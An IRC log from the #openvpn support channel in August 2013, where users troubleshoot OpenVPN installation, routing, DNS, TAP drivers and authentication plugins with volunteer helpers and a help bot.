23:25 -!- aegis [~aegis@184.75.213.34] has joined #openvpn
23:27 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has joined #openvpn
23:42 -!- zhulikas [~meh@78-60-186-41.static.zebra.lt] has joined #openvpn
23:51 -!- t35guy [~Andrew@63.142.161.3] has joined #openvpn
23:53 < t35guy> Please reccomend me a VPN provider that uses good encryption (not PPTP or MS-Chap), will respect my privacy (not Google), has good uptime, support and price (not BTGuard).
23:54 <+pekster> You're not generally going to find people here that care much about providers at all, or try and support or recommend them
23:54 <+pekster> You can try the forums where there's a section on the topic
23:55 < t35guy> pekster: doesn't everyone who uses openVPN have a subscription or run a VPN?
23:55 <+pekster> No, OpenVPN is a free-to-use software program
23:55 <+pekster> !howto
23:55 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
23:55 < t35guy> I mean almost everyone
23:56 <+pekster> Not the people coming here, no; #openvpn supports the configuration, use, and technical questions about the OpenVPN software product
23:58 < t35guy> okay, I'll check the forums thanks
--- Day changed Thu Aug 22 2013
00:24 -!- Dougy [~dougwork@static-98-109-158-66.nwrknj.fios.verizon.net] has joined #openvpn
00:25 -!- dougy[work] [~dougwork@static-98-109-158-66.nwrknj.fios.verizon.net] has quit [Ping timeout: 264 seconds]
00:31 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
00:37 -!- Cygor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
00:40 -!- Dougy [~dougwork@static-98-109-158-66.nwrknj.fios.verizon.net] has quit [Ping timeout: 264 seconds]
00:43 -!- Dougy [~dougwork@static-98-109-158-66.nwrknj.fios.verizon.net] has joined #openvpn
01:05 < jzaw> t35guy, any and all companies can ultimately be forced by their govt's to hand over data unless they are prepared to go to jail or be stuck (exiled) in ecuadorian embassies
01:05 < jzaw> so do not expect any company to *respect* your privacy
01:06 < jzaw> either that or like groklaw etc they shutdown
01:12 -!- xorox90_ [uid7069@gateway/web/irccloud.com/x-iwzsblvactidddfp] has quit []
01:13 -!- xorox90 [uid7069@gateway/web/irccloud.com/x-fjphqbqvbralqbzy] has joined #openvpn
01:17 -!- lbft [~lbft@unaffiliated/lbft] has quit [Ping timeout: 240 seconds]
01:18 -!- lbft [~lbft@unaffiliated/lbft] has joined #openvpn
01:39 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
01:59 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn
01:59 -!- mode/#openvpn [+o mattock] by ChanServ
02:01 -!- hyper_ch [~hyper_ch@ks357331.kimsufi.com] has joined #openvpn
02:01 -!- thinkHell [~Hell@ks3282823.kimsufi.com] has joined #openvpn
02:01 < hyper_ch> hmmm, just installed ovpn on a win 7 64bit machine and when trying to run the gui an error occurs about creating registry keys
02:03 <+pekster> !gui
02:03 <@vpnHelper> "gui" is (#1) The only official GUI is the OpenVPN-GUI for Windows (see https://community.openvpn.net/openvpn/wiki/OpenVPN-GUI .) While there are other 3rd party GUIs, they may cause unexpected issues or (#2) If you're having problems starting OpenVPN through an unoffiical GUI, try launching it on the command line; if that works, the GUI is your problem
02:04 <+pekster> hyper_ch: Run it as an admin
02:04 < hyper_ch> ah ok
02:04 < hyper_ch> why do have things to be so complicated on windows
02:05 -!- lbft [~lbft@unaffiliated/lbft] has quit [Quit: Bye]
02:05 <@krzee> hey nice wiki page i hadnt seen that
02:05 -!- lbft [~lbft@unaffiliated/lbft] has joined #openvpn
02:05 <+pekster> We've had it for a while; now if only the "Joomla" crap would point to it :(
02:06 <@krzee> https://community.openvpn.net/openvpn   there?
02:06 <@vpnHelper> Title: OpenVPN Community (at community.openvpn.net)
02:06 < hyper_ch> also why is the config file to be called .ovpn on *dows ?
02:06 <+pekster> We need the community site editable by non-corp folks at some point, and not tied to the backend CMS/corp-wiki thing
02:06 <+pekster> krzee, here: http://openvpn.net/index.php/open-source/documentation/graphical-user-interface.html
02:06 <@vpnHelper> Title: Graphical User Interface (at openvpn.net)
02:06 <@krzee> ohhh
02:06 <@krzee> ya =/
02:07 <+pekster> Pointing users to sf.net sources or a laundry list of junk isn't helpful. Neither is most of the rest of the Joomla junk display. First "Downloads" link in the "community" side is still AS
02:08 <@krzee> believe it or not it was even worse, we definitely need to get that improved
02:08 <+pekster> hyper_ch: Because that's the installed OS extension-handler. If you start openvpn from the command-line you can use any extension you want, or you can have the OpenVPN GUI look for a different extension by editing the registry for that program node
02:08 < hyper_ch> pekster: :)
02:13 -!- unixman90001 [~Adium@ip72-223-109-114.ph.ph.cox.net] has joined #openvpn
02:14 -!- unixman9000 [~Adium@ip72-223-109-114.ph.ph.cox.net] has quit [Ping timeout: 256 seconds]
02:22 < hyper_ch> got it running, thx
02:22 < hyper_ch> next thing to figure out is how to make it autostart on windows
02:23 -!- unixman90001 [~Adium@ip72-223-109-114.ph.ph.cox.net] has quit [Ping timeout: 264 seconds]
02:27 -!- unixman9000 [~Adium@ip72-223-109-114.ph.ph.cox.net] has joined #openvpn
02:36 < hyper_ch> figured it out .... yey
02:52 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Quit: really? must I leave? aw pls let me stay!]
02:54 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
02:58 -!- Brando753 [~Brando753@unaffiliated/brando753] has joined #openvpn
03:13 -!- mchou [~quassel@unaffiliated/mchou] has quit [Ping timeout: 245 seconds]
03:13 -!- thinkHell [~Hell@ks3282823.kimsufi.com] has quit [Quit: ["pop()"]]
03:41 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
03:46 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Read error: Connection reset by peer]
03:46 -!- hyper_ch [~hyper_ch@ks357331.kimsufi.com] has left #openvpn ["Konversation terminated!"]
03:46 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 264 seconds]
03:48 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
03:48 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
03:49 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
03:51 -!- takamichi [~takamichi@67.215.234.66] has joined #openvpn
03:52 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
03:54 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
03:55 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
03:56 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
04:11 -!- takamichi [~takamichi@67.215.234.66] has quit [Ping timeout: 240 seconds]
04:25 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
04:45 -!- Denial [Denial@94.9.99.190] has joined #openvpn
05:04 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
05:48 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
05:49 -!- mivok [~mark@static-108-48-124-82.washdc.fios.verizon.net] has quit [Ping timeout: 245 seconds]
05:49 -!- _bt [foobar@unaffiliated/bt/x-192343] has quit [Ping timeout: 245 seconds]
05:50 -!- _bt [foobar@77.240.12.157] has joined #openvpn
05:50 -!- mivok [~mark@static-108-48-124-82.washdc.fios.verizon.net] has joined #openvpn
05:53 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
06:18 -!- kevinsky [~kevin@senna.rosendaal.net] has quit [Ping timeout: 240 seconds]
06:21 -!- kevinsky [~kevin@senna.rosendaal.net] has joined #openvpn
07:09 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Quit: Ctrl-C at console.]
07:10 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
07:10 -!- mode/#openvpn [+o vpnHelper] by ChanServ
07:31 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has joined #openvpn
07:31 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has quit [Changing host]
07:31 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
07:33 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
07:43 -!- blochchain [~mike@130.58.34.12] has joined #openvpn
07:44 < blochchain> what settings do i use for a vpn with a shared secret?
07:44 < blochchain> i can't find where to input it
07:46 <+pekster> blochchain, just a peer-to-peer setup between 2 systems (ie: no TLS or certs, right?) You want the --secret option
07:48 < blochchain> pekster, i was trying to use the Ubuntu GUI. i think it has a bug that prevents you from actually adding the connection
07:54 <+pekster> Quite possibly. See:
07:54 <+pekster> !gui
07:54 <@vpnHelper> "gui" is (#1) The only official GUI is the OpenVPN-GUI for Windows (see https://community.openvpn.net/openvpn/wiki/OpenVPN-GUI .) While there are other 3rd party GUIs, they may cause unexpected issues or (#2) If you're having problems starting OpenVPN through an unoffiical GUI, try launching it on the command line; if that works, the GUI is your problem
07:55 -!- blochchain [~mike@130.58.34.12] has quit [Ping timeout: 240 seconds]
07:58 -!- nohitall [nohitall@gateway/shell/anapnea.net/x-xlmtksqybejksdjy] has quit [Changing host]
07:58 -!- nohitall [nohitall@unaffiliated/nohitall] has joined #openvpn
07:58 -!- nohitall [nohitall@unaffiliated/nohitall] has quit [Changing host]
07:58 -!- nohitall [nohitall@gateway/shell/anapnea.net/x-xlmtksqybejksdjy] has joined #openvpn
08:00 -!- nohitall [nohitall@gateway/shell/anapnea.net/x-xlmtksqybejksdjy] has left #openvpn []
08:10 -!- `Ile` [~ile@178-222-136-123.dynamic.isp.telekom.rs] has joined #openvpn
08:17 <+pekster> !androdi
08:17 <+pekster> !android
08:17 <@vpnHelper> "android" is (#1) an open source OpenVPN client for ICS is available in Google Play, look for OpenVPN for Android. FAQ is here: http://code.google.com/p/ics-openvpn/wiki/FAQ or (#2) If you do not have cyanogenmod or ICS, but your device is rooted, you can use android-openvpn-installer and openvpn-settings from the market
08:23 -!- Dar1us [~doconnor@cain.gsoft.com.au] has left #openvpn []
08:31 -!- fluid`wrk [~fluidwrk@pat.westrope.com] has joined #openvpn
08:51 -!- t35guy [~Andrew@63.142.161.3] has quit [Ping timeout: 253 seconds]
08:53 -!- blochchain [~mike@72-255-1-187.client.stsn.net] has joined #openvpn
08:54 < blochchain> does anyone else have the problem that the Ubuntu config doesn't let you hit the "add" button even though you filled in all the data
08:59 -!- blochchain [~mike@72-255-1-187.client.stsn.net] has quit [Ping timeout: 240 seconds]
08:59 -!- vaillor [~wallbreak@151.72.29.195] has joined #openvpn
08:59 < vaillor> hi guys
08:59 < vaillor> to set dns do i need to use "dhcp-option DNS 62.101.93.101" line?
09:00 -!- t35guy [~Andrew@63.142.161.3] has joined #openvpn
09:00 < fluid`wrk> i believe so
09:02 < vaillor> but it doesn't work
09:02 -!- HyperGlide [~HyperGlid@221.237.150.54] has joined #openvpn
09:08 < vaillor> http://nopaste.info/664086a08c.html
09:08 < vaillor> this is my client config
09:08 < vaillor> connection works, but internet redirection doesn't work
09:09 < vaillor> i can't ping google ip
09:09 < vaillor> so this means that it's not a dns problem
09:21 < fluid`wrk> what is the 62 number
09:21 < fluid`wrk> public dns?
09:22 < fluid`wrk> your remote server is a local IP?
09:24 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
09:28 -!- monk [~aknm@unaffiliated/aknm] has quit [Ping timeout: 264 seconds]
09:31 < vaillor> fluid`wrk, yes
09:31 < vaillor> public dns
09:31 < vaillor> my remote dns is a local ip, yes
09:33 < fluid`wrk> remote 192.168.1.7 443
09:33 < fluid`wrk> seems weird it's a local ip
09:33 < fluid`wrk> so you're just connecting over your LAN
09:34 < vaillor> fluid`wrk, yes
09:35 < vaillor> but also when connecting over the internet
09:35 < vaillor> with a WAN address
09:35 < vaillor> the problem is the same
09:35 < fluid`wrk> does your adapter show it has the DNS server applied to it
09:35 < fluid`wrk> and can you ping the dns server
09:36 < vaillor> yes
09:36 < vaillor> i can ping my dns server
09:37 < vaillor> now let's ceck about first question
09:37 < fluid`wrk> this on windows?
09:37 < vaillor> yes
09:37 < vaillor> dns set on interface
09:38 < fluid`wrk> what does nslookup do
09:39 -!- gardar [~gardar@gardar.net] has quit [Quit: bye!]
09:39 < vaillor> i think the problem is about redirection
09:40 -!- gardar [~gardar@gardar.net] has joined #openvpn
09:41 < fluid`wrk> im a noob
09:41 < fluid`wrk> i use access server
09:41 < fluid`wrk> not much help
09:41 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
09:41 < rob0> !as
09:42 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
09:42 < rob0> You're not supposed to get help with AS here. :)
09:42 < rob0> oh, you mean YOU are trying to help, sorry
09:42 < fluid`wrk> yeah
09:46 < vaillor> rob0, can you help me about my problem?
09:49 < rob0> I don't use Windows, I don't use --dhcp-option
10:01 < vaillor> rob0, ok, i need only to know a thing: "topology subnet" and "client-to-client" are client or server directive?
10:03 < rob0> Think that through. Can a client dictate the server's topology? I'd hope not. Can a client dictate whether/how it can connect to other clients? Likewise, I'd hope not. Furthermore ...
10:03 < rob0> ... I bet both --topology and --client-to-client are listed in the man page.
10:06 < vaillor> yes, but if i do not use "topology subnet" in client fonfig, i get a "connection failed"
10:11 -!- evelyette [~evelyette@93-103-107-74.dynamic.t-2.net] has joined #openvpn
10:11 < evelyette> hi
10:12 < MorgyN> .win 43
10:13 -!- Denial [Denial@94.9.99.190] has quit [Remote host closed the connection]
10:13 -!- Denial [Denial@94.9.99.190] has joined #openvpn
10:13 < evelyette> Can somebody help me understand these routes: http://dpaste.com/1353346/ I'm having TUN routing VPN server, which is giving me 10.10.1.0/24 addresses and letting me connect to the 10.10.10.0/24 devices ... currently I have an address in 192.168.1.0/24 network
10:14 < evelyette> I'm not sure why gateway is 10.10.1.5 and not 10.10.1.1 ? any ideas?
10:15 < evelyette> basically, I'm not sure why these two are needed:
10:15 < evelyette> 10.10.1.1       10.10.1.5       255.255.255.255 UGH   0      0        0 tun0
10:15 < evelyette> 10.10.1.5       0.0.0.0         255.255.255.255 UH    0      0        0 tun0
10:15 < evelyette> why can't the 10.10.10.0 entry be written like this: 10.10.10.0      0.0.0.0       255.255.255.0   UG    0      0        0 tun0
10:15 < evelyette> instead of: 10.10.10.0      10.10.1.5       255.255.255.0   UG    0      0        0 tun0
10:18 -!- raidz_away is now known as raidz
10:28 -!- fluid`wrk [~fluidwrk@pat.westrope.com] has left #openvpn []
10:29 -!- t35guy [~Andrew@63.142.161.3] has quit [Ping timeout: 245 seconds]
10:37 -!- HyperGlide [~HyperGlid@221.237.150.54] has quit [Remote host closed the connection]
10:39 -!- gtklocker [~gtklocker@snf-61725.vm.okeanos.grnet.gr] has quit [Ping timeout: 264 seconds]
10:46 -!- t35guy [~Andrew@63.142.161.9] has joined #openvpn
10:46 -!- t35guy [~Andrew@63.142.161.9] has left #openvpn []
10:55 -!- monk [~aknm@unaffiliated/aknm] has quit [Quit: Leaving]
11:08 -!- JSharpe [~JSharpe@10-253-3-31-anc.floodtel.net] has joined #openvpn
11:12 -!- s7r [s7r@openvpn/user/s7r] has quit [Quit: Leaving]
11:14 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
11:21 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 264 seconds]
11:23 -!- chain [~bob@89-68-156-189.dynamic.chello.pl] has joined #openvpn
11:23 -!- newbie|2 [~tjz@cm-110-171-186-229.revip7.asianet.co.th] has joined #openvpn
11:25 -!- takamichi [~takamichi@217.23.5.63] has joined #openvpn
11:26 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 276 seconds]
11:43 -!- gtklocker [~gtklocker@snf-61725.vm.okeanos.grnet.gr] has joined #openvpn
11:49 -!- gtklocker [~gtklocker@snf-61725.vm.okeanos.grnet.gr] has quit [Ping timeout: 264 seconds]
11:57 -!- gtklocker [~gtklocker@snf-61725.vm.okeanos.grnet.gr] has joined #openvpn
12:06 -!- jrgcombr [~JRocha@200.189.189.47] has joined #openvpn
12:06 < jrgcombr> !welcome
12:06 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
12:06 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
12:08 < jrgcombr> hey, im trying to install OpenVPN over here and I got an error while installing TAP driver
12:09 < jrgcombr> devcon just says devcon.exe failed. and I get an entry in eventlog from PnPDriverImportError
12:09 < jrgcombr> I found this documentation:https://community.openvpn.net/openvpn/wiki/ManagingWindowsTAPDrivers but the same error happens
12:09 <@vpnHelper> Title: ManagingWindowsTAPDrivers – OpenVPN Community (at community.openvpn.net)
12:11 < jrgcombr> Im trying to get a clue of whats going wrong with WinDBG, but im not a driver expert... I don`t know what to look for...
12:12 < jrgcombr> Im in a Win8 x64 box
12:18 < jrgcombr> Wow!
12:18 < jrgcombr> I think I found the problem... the driver certificate has expired!
12:19 < jrgcombr> Valid from 2012-06-18 to 2013-08-21
12:20 -!- takamichi [~takamichi@217.23.5.63] has quit [Ping timeout: 264 seconds]
12:22 < jrgcombr> just set the clock to 2013-08-19 and the driver installed! :)
12:22 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
12:31 -!- master_of_master [~master_of@p4FF24F0A.dip0.t-ipconnect.de] has joined #openvpn
12:34 -!- master_o1_master [~master_of@p4FF24651.dip0.t-ipconnect.de] has quit [Ping timeout: 248 seconds]
12:36 < jrgcombr> Just found bug #321 - OpenVPN 2.2.3 released with expired driver certificate.
12:36 -!- theY4Kman [~Chaz@199-193-113-145.static.hvvc.us] has joined #openvpn
12:37 < theY4Kman> Is the source available for OpenVPN AS's local authentication plugin?
12:37 < theY4Kman> Or are there docs on the authentication plugin interface?
12:41 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-gfsyttqsypjransg] has joined #openvpn
12:41 -!- cjs226 [~cjs226@rrcs-108-178-108-179.sw.biz.rr.com] has joined #openvpn
12:55 -!- s7r [s7r@openvpn/user/s7r] has joined #openvpn
12:55 -!- mode/#openvpn [+v s7r] by ChanServ
14:00 < vaillor> nobody can help me?
14:04 <@EugeneKay> No, we can't.
14:06 -!- JAVACODER [~JAVACODER@2.190.42.140] has joined #openvpn
14:12 < vaillor> I tell the problem anyway, if someone were to come up with the solution, I'd be glad to hear it: this is my configuration both sides http://nopaste.info/index.html . I'm unable to redirect internet traffic. if i use simply client instead of tls-client, it works properly. but I need to make it work in this way, with tls-client. Thank you
14:13 < vaillor> i need to specify that is not a dns problem, because I can't ping internet IP's
14:14 < theY4Kman> vaillor: that URL doesn't include the paste ID
14:14 < vaillor> sorry
14:14 < theY4Kman> No worries
14:16 < vaillor> http://nopaste.info/22826419f6.html
14:19 < theY4Kman> (Unfortunately, I know nothing about how to help you, but this channel seems to be extremely unresponsive, so I wanted to make sure someone who could help could at least have all the information needed to help ya)
14:20 < vaillor> people prepared and experienced there
14:23 < theY4Kman> I don't doubt there are experienced and helpful people here. I just haven't interacted with any of them, so I'm preparing for the worst, hoping for the best.
14:32 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Ping timeout: 276 seconds]
14:35 <+pekster> theY4Kman: You're looking for references to how the plugin system works?
14:35 < theY4Kman> pekster: Yes
14:36 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
14:36 < vaillor> pekster, some suggestion for my problem?
14:36 < theY4Kman> I'm trying to limit which IPs/nets a user can connect to, using RADIUS auth
14:37 <+pekster> vaillor: I stopped caring about your problem after you can't get the basics after months. Ask the channel for support, not me personally unless I feel like I have something to contribute
14:37 < theY4Kman> Hahahaha, and here I thought I was helping :P
14:39 < vaillor> teorically, my config should work, but it does not. now i'm wasting time discovering why
14:39 < rob0> theY4Kman, you're probably in the wrong channel. We don't use AS.
14:39 < rob0> !as
14:39 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
14:39 <+pekster> theY4Kman, so my initial thought is that using the existing --client-connect framework might be easier. f.eg, for netfilter (on Linux-based servers) see the netfilter sub-component of my GPL-3/BSD licensed project here: https://github.com/QueuingKoala/openvpn-dynamic
14:39 <@vpnHelper> Title: QueuingKoala/openvpn-dynamic · GitHub (at github.com)
14:40 <+pekster> And yes, all of the help you'll get here is GPL (open-source) specific, not AS-specific (you did note you were interested in that too, I think?)
14:40 <+pekster> "that" being GPL
14:40 < theY4Kman> Yes, it is applying to AS
14:40 < theY4Kman> I'll go on and ask there
14:41 < theY4Kman> Oh! Just wanted to be clear, AS is proprietary stuff built around the GPL'd OpenVPN, nay?
14:41 < rob0> yep, can't hurt
14:41 <+pekster> theY4Kman, yes, the frontend and the "OpenVPN Connect" client are closed-source, but as I understand, the AS backend is openvpn 2.2.x
14:41 < rob0> I believe that's about right. OpenVPN Tech owns the copyright on both AS and the GPL openvpn.
14:42 < vaillor> the main problem is that log gives me no errors/warnings
14:43 <+pekster> theY4Kman: What's your server running as? Not that you can't do what you want with a C-language plugin, but wouldn't a shell script be easier? I even have an entire framework already written for you ;)
14:43 <+pekster> (assuming use of GPL-3 or BSD 3-clause code is acceptable in your environment)
14:44 < theY4Kman> Running as?
14:44 < theY4Kman> ATM, I'm pursuing using RADIUS, because it was easy as pie to write some custom auth in Python
14:45 < rob0> easy as pi!
14:45 < rob0> easy as py!
14:45 < theY4Kman> :D
14:46 <+pekster> So you're using what --client-connect that calls your python script that then speaks to your RADIUS backend?
14:46 < theY4Kman> I'm not familiar with --client-connect.
14:47 <+pekster> Or is there a radius plugin? (I've seen people do PAM that then uses radius, but I'm not sure I'm familiar offhand with a radius openvpn plugin; it's not part of the GPL sources, so if it's an AS option/feature I've no clue about it
14:47 < theY4Kman> Yeah, it's an AS plug-in
14:47 <+pekster> I've set up RADIUS before, but I just used a --client-connect shell script that was less than 20 lines of code
14:47 <+pekster> Just a wrapper around a radiusclient package for the server I was using
14:48 < theY4Kman> Shit, that sounds much better than this roundabout way I feel I'm going in
14:48 <+pekster> Yes, hence my suggestion. If you're running on Linux, my netfilter framework already gets you halfway there
14:48 <+pekster> Just bolt on some extra magic to do the radius backend calls and you're done
14:50  * EugeneKay uses DIAMETER
14:51 < rob0> RADIUS is just a half-assed implementation of DIAMETER
14:51 -!- JAVACODER [~JAVACODER@2.190.42.140] has quit [Ping timeout: 245 seconds]
14:53 -!- `Ile` [~ile@178-222-136-123.dynamic.isp.telekom.rs] has quit [Ping timeout: 264 seconds]
15:02 -!- Thermi [~Thermi@unaffiliated/thermi] has quit [Quit: Meet your opposition - Profane and disciplined - Take back your pride - With a pounding hammer]
15:04 -!- Thermi [~Thermi@unaffiliated/thermi] has joined #openvpn
15:04 -!- jrgcombr [~JRocha@200.189.189.47] has quit [Read error: Connection reset by peer]
15:04 -!- jrgcombr [~JRocha@200.189.189.47] has joined #openvpn
15:14 -!- mdev [~mdev@192.210.213.83] has joined #openvpn
15:17 < mdev> openvpn keeps whining it can't find a default route, this is on openvz(running ubuntu) and i'm trying to run openvpn as a client
15:17 < mdev> Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
15:17 < mdev> default         *               0.0.0.0         U     0      0        0 venet0
15:17 < mdev> that's what route command shows
15:17 < mdev> route add default gw differentips but it freezes the system
15:18 < mdev> i've tried that command rather using different ips from ifconfig
15:19 <+pekster> mdev, a gateway of '*' looks really suspecious. What does `ip r` show? Stop using ifconfig and route on Linux because:
15:19 <+pekster> !ifconfig_linux
15:19 <@vpnHelper> "ifconfig_linux" is Avoid use of 'ifconfig' and 'route' commands on modern Linux distros. It's old, deprecated, and often misleading/wrong. Use the 'ip a' and 'ip r' commands instead. More info: http://inai.de/2008/0219-ifconfig-sucks.php
15:20 < mdev> ip r shows
15:20 < mdev> default dev venet0  scope link
15:21 < mdev> it's again a openvz VPS(virtual private server) I have tun/tap and iptables enabled, and have no problem making the vps a openvpn server
15:21 < mdev> but I want the vps to be an openvpn client
15:23 <+pekster> Um, wtf
15:23 <+pekster> Your VPS is stupid. They put "the entire Internet" as an "on-link" access
15:23 <+pekster> You don't _have_ a default gateway
15:23 <+pekster> Try a less braindead provider, or don't use openvpn directives that need the gateway; supply the gateway yourself
15:24 <+pekster> Also, OpenVZ poses some other issues for OpenVPN. Further reading can be found here:
15:24 <+pekster> !openvz
15:24 <@vpnHelper> "openvz" is (#1) http://wiki.openvz.org/VPN_via_the_TUN/TAP_device to learn bout openvz specific stuff with regards to openvpn or (#2) It is usually less painful to switch to a host with better virtualization technology, eg KVM or Xen
15:28 < mdev> I try on kvm and it makes me lose the ability to connect to kvm vps again
15:28 < mdev> I have to fix networking in solusvm to connect again
15:28 <+pekster> !goal
15:28 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
15:29 <+pekster> We generally also need !configs and !logs for meaningful help. If you're trying to redirect traffic, this is expected behaviour becuase your shell connection is "lost" as it gets redirected out to the VPN link (if you are acting as the client on the "remote" box you're using)
15:29 -!- troyt [~troyt@2001:1938:240:2000::3] has quit [Ping timeout: 260 seconds]
15:30 < mdev> pekster yeah just want it to act as a client
15:30 <+pekster> You can see !redirect for help setting up a redirect situation if you control the server. If you don't control the server, we often can't help, or can only help a little: see !both. If you want to ssh to a remote clien that does !redirect, you need to set up policy routing (see LARTC's howto oneline)
15:30 <+pekster> That should be plenty of reading to get you started
15:31 < mdev> is there a openvpn client that doesn't highjack all connections? like a simple ring3 app that can connect to openvpn server and act as a proxy on machine it's running?
15:31 <+pekster> OpenVPN doesn't do anything unless you *tell* it to
15:31 < mdev> because it's clear the openvpn authors made this too complicated
15:31 <+pekster> I assume you're connecting to someone else's server
15:32 <+pekster> The complication is not part of OpenVPN in your case, but becuase you don't understand what you asked OpenVPN to do
15:32 <+pekster> !provider
15:32 <@vpnHelper> "provider" is (#1) We are not your provider's free tech support. We support the free open source app OpenVPN, not your provider. Just because they run openvpn does not mean we are their support team. or (#2) Please contact their support team.
15:32 < mdev> stop spamming me with your bot messages
15:32 < mdev> and don't give me some non-sense about openvpn only doing what I tell it, it could be designed MUCH better
15:32 <+pekster> Fine. Then go away if you don't want to read the useful info
15:32 < mdev> complexity != advanced
15:33 <+pekster> It's not complicated. You're altering the default route, so the return packet gets lost
15:33 <+pekster> That is your problem, right there
15:33 <+pekster> The fix is complicated, and the fix is not related to openvpn
15:33 <+pekster> Any questions so far?
15:33 < mdev> truely intelligent devs would of made something aweosme and incredibly easy to use/setup that does self checking, self diagnois and is aware of various environments, not like that's hard
15:33 < mdev> only hand full of popular linux distros, windows versions, mac verisons, and a few mobile os's
15:34 -!- mode/#openvpn [+o pekster] by ChanServ
15:34 <@pekster> Insulting the people offering you free help is not a wise choice.
15:35 < rob0> mdev, go to it. Design a better openvpn.
15:35 <@pekster> I'm happy to explain what your problem is more clearly if you need, and direct you to the resources you need to learn about the basic networking concepts to fix it. Your problem is basic routing, which is specific to the TCP/IP stack, which is not a protocol OpenVPN is in control of
15:35 < theY4Kman> Or write better docs, mdev. That's something anyone can do.
15:35 < mdev> of course you have op, why wouldn't you, and i'm not insulting anyone, and I may just design a better VPN setup, I may just do that rob0, in the mean time I have to try and figure out this issue
15:36 < Tera> Cisco VPN is easy for the customer
15:37 < Tera> but it's sick expensive
15:37 <@pekster> mdev: You said "truely intelligent devs would [have done exactly what I need that works like I expect automagically]". I happen to be invovled in openvpn development, and understand your current problem better than you might think. If you'd like to help, we welcome code contributions to make it a better product, or documentation to help users better understand complex issues
15:37 < vaillor> pekster, in the case of log doesn't help me because doesn't show me errors/warnings, what do i need to do?
15:38 < Tera> OpenVPN-AS is cool too. I literally roll it out for our every customer where we need VPN.
15:38  * Tera goes back to idle mode
15:39 < mdev> pekster well I apologize, if that came off insulting. openvpn has been in development what a decade or longer? the company behind it sells commerical version as well so i'm sure they're making a great deal of money, all i'm saying is if they really put their mind to it they could have a complete product that's laymen friendly and intelligent/easy to use in most used environments. have you seen
15:39 < mdev> the windows GUI for openvz?
15:39 < mdev> it's clear whoever made that just isn't trying/doesn't care
15:39 <@pekster> That's not the openvepn dev team
15:40 <@pekster> !gui
15:40 <@vpnHelper> "gui" is (#1) The only official GUI is the OpenVPN-GUI for Windows (see https://community.openvpn.net/openvpn/wiki/OpenVPN-GUI .) While there are other 3rd party GUIs, they may cause unexpected issues or (#2) If you're having problems starting OpenVPN through an unoffiical GUI, try launching it on the command line; if that works, the GUI is your problem
15:40 <@pekster> (and please realize I"m using the bot so I don't have to type that all out again. It's not meant as an insult, but lots of people ask the same set of questions. We have quick answers for them)
15:40 < rob0> "if that came off insulting," well sure, it did. You said openvpn developers are not truly intelligent.
15:40 < mdev> yeah the UI i'm talking about
15:40 <@pekster> What UI?
15:41 <@pekster> There _is_ no OpenVPN-provided UI for "OpenVZ"
15:41 < rob0> And the use of the bot should suggest that you are indeed asking common questions.
15:41 <@pekster> That is not the openvepn dev team that wrote it, so if it's dumb, go complain to the people that wrote dumb things
15:41 -!- sideone [~sideone@23.24.175.105] has joined #openvpn
15:41 < sideone> hey all
15:41 < mdev> pekster that's exactly my point
